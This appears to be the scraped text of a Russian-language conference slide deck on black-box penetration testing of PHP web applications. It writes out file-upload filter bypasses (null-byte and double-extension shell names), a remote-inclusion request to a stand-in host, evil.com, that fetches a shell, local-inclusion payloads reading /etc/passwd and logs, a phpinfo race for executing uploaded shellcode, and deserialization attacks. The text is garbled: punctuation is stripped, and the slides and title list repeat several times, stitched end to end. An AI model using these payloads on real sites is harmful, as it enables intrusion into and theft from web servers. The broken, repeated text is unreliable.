bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
